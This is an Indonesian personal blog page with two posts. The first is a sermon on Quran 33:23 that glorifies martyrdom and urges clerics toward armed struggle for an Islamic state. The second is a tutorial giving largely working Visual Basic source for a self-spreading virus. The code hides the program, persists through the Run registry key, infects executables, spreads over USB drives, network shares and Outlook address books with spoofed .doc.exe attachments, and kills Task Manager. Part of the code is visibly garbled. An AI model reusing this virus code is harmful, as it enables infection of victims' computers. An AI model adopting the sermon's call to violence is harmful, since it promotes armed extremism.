AHLAN WA SAHLAN

AHLAN WA SAHLAN
HIASI HARI DENGAN SENYUM 
BELAJAR BERBUAT UNTUK ORANG LAIN
SEMOGA ALLAH MEMBERI RAHMAT
KEPADA SEMUA UMATNYA YANG IHLAS



Rabu, 09 Juli 2008

Ulama, Resiko Perjuangan dan Loyalitas kepada Islam

QS al Ahzaab : 23 :)

مِنَ الْمُؤْمِنِيْنَ رِجَالٌ صَدَقُوْا مَا عَاهَدُوا اللهَ عَلَيْهِ , فَمِنْهُمْ مَنْ قَضَى نَحْـبَهُ وَمِنْهُمْ مَنْ يَنْتَظِرْ وَمَا بَدَّلُوْا تَبْدِيْلا ً

“Dan sebagian dari orang – orang beriman ada para lelaki yang berlaku jujur terhadap janji mereka kepada Alloh hingga sebagian dari mereka ada yang telah menjemput kematian dan sebagian ada yang menunggu (kesyahidan) dan mereka sama sekali tidak mengganti (tetap teguh memegang janji)”

Sebab Nuzul Ayat :)

Menyesal tidak ikut serta dalam perang Badar, maka kali ini (menjelang perang Uhud) Anas bin Nadhr berkata, “Wahai Rosululloh, saya telah absen dalam awal peperangan engkau dengan kaum musyrik. Sungguh jika Alloh memberiku kesempatan dalam perang melawan kaum musyrik maka pasti anda akan melihat apa yang saya lakukan” ternyata janji ini betul – betul terlaksana. Di tengah perang Uhud saat pasukan Islam tertekan dan kocar kacir maka Anas dengan suara lantang mengatakan, “Ya Alloh saya memohon maaf atas apa yang dilakukan oleh teman – temanku dan saya lepas tangan dari apa yang dilakukan oleh kaum kafir” Anas kemudian maju menyerang musuh saat pasukan Islam justru mundur kewalahan. Sebelum itu ia sempat bertemu dengan Sa’ad bin Mu’adz dan berkata, “Hai Sa’ad, surga. Demi Tuhan Nadhr, aku telah mencium bau surga dari arah Uhud” akhirnya Anas tewas dengan tubuh tercabik- cabik dan nyaris tidak bisa dikenali andai saja saudara perempuannya tidak mengenali jari – jarinya. Disebutkan bahwa saat itu di tubuh Anas terdapat delapan puluh lebih luka tusukan tombak, sabetan pedang atau tancapan anak panah. Dari sinilah kemudian turun firman Alloh di atas. (Lihat Shohih Bukhori / 2805!)

Uraian Ayat :)

Para Nabi seperti Adam, Idris, Nuh, Hud, Sholih alaihimus sholaatu wassalaam dan seterusnya seluruhnya diutus oleh Alloh kepada umat manusia demi mengingatkan sebuah perjanjian yang pernah terikat saat di alam Dzar bahwa mereka pasti menyembah dan mengesakan Alloh. Jadi para nabi meskipun hanya untuk mengingatkan perjanjian, akan tetapi hal tersebut tidak bisa dijalankan hanya dengan kata – kata. Ternyata usaha mengingatkan tersebut harus dijalankan dengan modal tetesan air mata dan darah serta pahitnya cemoohan . Usaha menjadikan kalimat Tauhid Laa ilaaha illalloh agar eksis terpatri dalam hati manusia ternyata harus dibarengi pengorbanan harta benda dan nyawa. Ingat Nabi Syu’aib dan Yahya alaihimas salaam yang wafat oleh kebejatan tangan – tangan Yahudi kaumnya. Ingat pula Nabi Musa as yang harus meninggalkan kampung halaman demi menyelematkan diri dari kejaran Fir’aun dan pasukan. Nabi Isa as juga demikian, Beliau harus diangkat oleh Alloh agar selamat dari kejaran dan percobaan pembunuhan yang dilakukan oleh kaumnya Bani Isro’il La’natulloh alaihim. Nabi Ibrohim as juga demikian, semua sudah memaklumi bahwa demi menuhankan Alloh dan mengajak manusia supaya menuhankan Alloh, Beliau rela dan tanpa takut sedikitpun dilemparkan ke dalam nyala api. Rosululloh SAW juga demikian halnya, beberapa kali percobaan pembunuhan juga dilakukan oleh kaum kafir Makkah juga Yahudi Madinah.

Di lain pihak, perjuangan mereka membela dan mengibarkan panji Tauhid Laa ilaaha illalloh juga dikawal dengan ketat dan kuat oleh orang – orang yang beriman serta menjadi pengikut setia mereka. Nabi Isa as misalnya, dalam dakwah mengajak menuju Tauhid, Beliau dikawal dan didukung oleh loyalisnya yang disebut dengan Hawaariyyuun. Kepada Nabi Isa as mereka berjanji, “Kami adalah para penolong dan pendukung Risalah yang engkau emban” Alaqur’an mencatat janji mereka ini, “Wahai orang – orang beriman, jadilah kalian para penolong Alloh seperti halnya ketika Isa berkata, “Adakah orang yang menolongku menuju (menyembah) Alloh?” al Hawaariyyun menjawab, “Kami orang – orang yang menolong Alloh” QS Shoff: 14. Rosululloh SAW pun tidak berbeda dengan nabi Isa as, dalam upaya membebaskan manusia dari menyembah berhala, Beliau SAW tidak berjuang sendirian, Beliau juga mencari bantuan dan dukungan. Di setiap musim haji, Beliau SAW senantiasa menyerukan ajakan, “Adakah seorang yang mendukung dan memberi tempat bagiku? Sungguh orang – orang quresy telah menghalangiku dari menyampaikan Risalah Tuhanku” akhirnya datanglah suku Aus dan Khozroj dari Madinah dan berjanji jika Rosululloh SAW berhijroh ke sana maka mereka pasti menjadi penolong dan pembela serta teman setia Beliau SAW di jalan Jihad mengibarkan panji kalimat Tauhid di seluruh belahan dunia. Sungguh janji itu benar – benar mereka tepati, harta benda dan nyawa dengan mudah mereka korbankan dan bahkan di antara mereka terjadi perlombaan saling mendahului untuk berebut kesempatan berkorban harta maupun nyawa dan salah satunya adalah Anas bin Nadhr seperti disebutkan di atas. Bagi mereka, berperang merupakan kenikmatan tersendiri (ingat kisah perang Badar di mana pasukan Islam di tengah berkecamuk perang justru terserang rasa kantuk) karena menjemput salah satu dari dua hal indah; kemenangan atau gugur sebagai seorang Syahid. Firman Alloh SWT:

قُلْ هَلْ تَرَبَّصُوْنَ إِلاَّ إِحْدَى الْحُسْنَيَيْنِ

“Katakanlah: “Bukankah kalian tidak menunggu kecuali dua kebaikan?” QS al Ahzaab: 52.

Posisi Ulama dan penyakit “Wahan”

Jika para sahabat telah menjadi generasi terbaik sebagai pengawal dan peyokong dakwah Nabi Muhammad SAW. Kemudian dilanjutkan dengan generasi Tabiin dan santri Tabiin (Tabi’it Taabiin) maka perlu untuk diingat kembali akan posisi ulama sebagai pewaris para nabi. Warisan di sini bukan hanya warisan ilmu tetapi juga warisan pemikiran dan prilaku. Para ulama terdahulu telah berhasil menunjukkan peran sebagai pewaris para nabi dalam segala bidang, baik di bidang ilmu, pemikiran ataupun prilaku. Karena itulah tidak mengherankan jika ulama sekaliber Imam Ghozali yang banyak dikenal dengan kesufian justru dengan terang menyatakan dalam karya monumental Beliau yaitu Ihya’ Ulumiddin (1 / 29) bahwa, “Agama dan Kekuasaan adalah anak kembar yang tidak bisa dipisahkan. Agama itu dasar / pondasi sementara kekuasaan adalah penjaga. Sesuatu tanpa pondasi dipastikan akan roboh sedang sesuatu tanpa penjaga juga pasti akan hilang” ungkapan seperti ini menunjukkan bahwa ulama generasi terdahulu memang bukan hanya mewarisi ilmu dan prilaku tetapi pemikiran dan semangat para nabi juga menjelma dalam diri mereka. Karena itulah tidak sedikit dari mereka ikut ambil bagian dalam peperangan dalam rangka mempertahankan Khilafah Islam atau menyebar luaskan dakwah Islam. Abdulloh bin Mubarok misalnya, banyak sekali waktu yang telah Beliau lewatkan untuk berjihad kendati dalam kapasitas Beliau sebagai seorang ahli fiqih dan seorang yang Zuhud. Ada pula nama – nama lain seperti Abdul Wahid bin Zaid, Syaqiq al Balkhi atau Badrul Aini (penulis Syarah Shohih Bukhori), semua nama ini seluruhnya tercatat pernah turut serta dalam peperangan membela agama Alloh. Bahkan seorang ulama besar madzhab Mailiki bernama qodhi Asad bin al Furot pernah tampil sebagai panglima perang armada laut.

Di bumi Indonesia, tercatat pula nama Imam Bonjol atau Pangeran Diponegoro, seorang ulama yang dengan semangat memanggul senjata demi menegakkan Kalimat Tauhid di bumi Nusantara. Para wali songo juga tidak hanya meniru Rosululloh SAW dalam semangat menyebarkan agama, tetapi juga meneladani Beliau SAW dalam bagaimana menjaga agama ini ketika sudah dipeluk oleh obyek dakwah. Karena itulah para wali songo berjuang dengan gigih hingga berdirilah kesultanan Demak. Lalu bagaimana dengan pihak – pihak yang sekarang ini disebut dengan ulama, apakah mereka ingin dan layak disebut dengan pewaris para nabi?. Sungguh jika predikat sebagai pewaris nabi dan para penolong agama Alloh telah tersemat di pundak maka semestinya tidak ada pilihan lain kecuali mengarahkan arus perjuangan menuju berdirinya sebuah negara Islam di mana syariat Islam menjadi dasar peraturan dan perundang – undangan. Memang dengan mendirikan sebuah pesantren atau lembaga pendidikan Islam, seseorang berarti telah terjun dalam peperangan seperti dikatakan oleh Abu Darda’ ra:

إِنَّمَا تُقَاتِلُوْنَ بِأَعْمَالِكُمْ

“Sungguh kalian bisa berperang dengan amal – amal kalian” (Lihat Shohih Bukhori Kitaabul Jihad wassair bab 13).

Sebab upaya semacam ini oleh Rosululloh SAW juga dilakukan. Sewaktu di Makkah, pada permulaan dakwah Beliau SAW melakukan pembinaan di rumah Arqom bin Arqom di kaki bukit Shofa. Lalu ketika di Madinah pun Beliau kembali menjadikan emperan masjid Nabawi saat itu sebagai tempat membina dan menempa para kader yang tekenal dengan sebutan Ashhaabus Shuffah. Sunan Ampel pun demikian halnya, salah satu yang dilakukan oleh Beliau pada awal dakwah di bumi Jawa adalah mendirikan pesantren sehingga dari alumnus pesantren tersebut muncul Raden Fattah yang tercatat sebagai Sultan pertama kerajaan Islam Demak. Jadi pendirian pesantren atau lembaga pendidikan barulah langkah pertama untuk menuju ayunan langkah berikutnya hingga sampai pada puncaknya yaitu berdirinya Khilafah Islam. Memang untuk menuju ke sana bukanlah suatu hal yang mudah, di depan pasti banyak resiko, hambatan dan rintangan yang menghalang dan siap mematahkan. Jika demi kebebasan dan terlepas dari penjajahan para pejuang memiliki semboyan “Merdeka atau Mati” maka sudah semestinya demi Islam seseorang harus berani dan siap untuk berjihad yang salah satunya adalah berperang.

Belum lama ini terdengar pernyataan dari pihak tertentu yang isinya, “Kami menolak fomalisasi Syariat Islam dalam bentuk regulasi”. Lepas apa maksud pokok dari pernyataan ini yang jelas pada intinya tergambar dalam pernyataan ini rasa takut akan terjadi gesekan keras dengan pihak – pihak lain yang tidak setuju apabila syariat Islam menjadi dasar perundang - undangan. Atau dengan kata singkat bisa disimpulkan bahwa pernyataan tersebut muncul sebagai dampak penyakit Wahan yang salah satu akibat yang ditimbulkan adalah keengganan berpayah dan menanggung derita dalam mengemban dan memperjuangkan syariat Islam agar benar – benar secara utuh dilaksanakan di bumi yang dihuni oleh mayoritas umat Islam ini. Sungguh jika pihak tersebut telah dihinggapi penyakit Wahan maka dapat dibayangkan keadaan umat yang menjadikan pihak tersebut sebagai panutan. Tentu umat itu justru semakin parah terjangkiti penyakit Wahan. Rosululloh SAW bersabda:

" يُوْشِكُ اْلأُمَمُ أَنْ تَدَاعَى عَلَيْكُمْ كَمَا تَدَاعَى اْلأَكَلَةُ إلِىَ قَصْعَتِـهَا " فَقَالَ قَائِلٌ : وَمِنْ قِلَّةٍ نَحْنُ يَوْمَئِذٍ يَارَسُوْلَ اللهِ ؟ قَالَ : " بَلْ أَنْتُمْ يَوْمَئِذٍ كَثِيْرٌ وَلَكِنَّكُمْ غُثَاءٌ كَغُثَـاءِ السَّيْلِ وَلَيَنْزِعَنَّ اللهُ مِنْ صُدُوْرِ عَدُوِّكُمْ الْمَهَابَةَ مِنْكُمْ وَلَيقْذِفَنَّ اللهُ فِى قُلُوْبِكُمْ الْوَهْنَ " فَقَالَ قَائِلٌ : يَارَسُوْلَ اللهِ وَمَاالْوَهْنُ ؟ قَالَ , " حُبُّ الدُّنْيَا وَكَرَاهِيَةُ الْمَوْتِ "


“Hampir para umat saling memperebutkan kalian laksana para pemakan (berebut makanan untuk dimasukkan) ke dalam piring mereka” seorang bertanya, “Apakah saat itu kami sedikit wahai Rosululloh?” Beliau SAW menjawab, “Justru saat itu kalian banyak tetapi kalian tak ubahnya seperti buih banjir dan Alloh pasti mencabut rasa takut dari hati musuh kalian kepada kalian dan sungguh Dia pasti menaruh Wahan dalam hati kalian” seorang bertanya: Wahai Rosululloh, apakah Wahan itu? Beliau SAW menjawab: “Cinta dunia dan enggan mati” HR Abu Dawud.

Wallohu A'lam Bisshowab
Ya Alloh Jadikan Kami Termasuk Orang-orang Al-Kayyis :)  :) ;) ;)

About Virus

Teknik Pembuatan Virus Komputer

Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall 'instalasi virus
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function

Lampiran B

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

Prejekan



Tak bisa menahan rasa malu akhirnya kami semua berpaling darimu wahai foto terindah:z :z :z :z .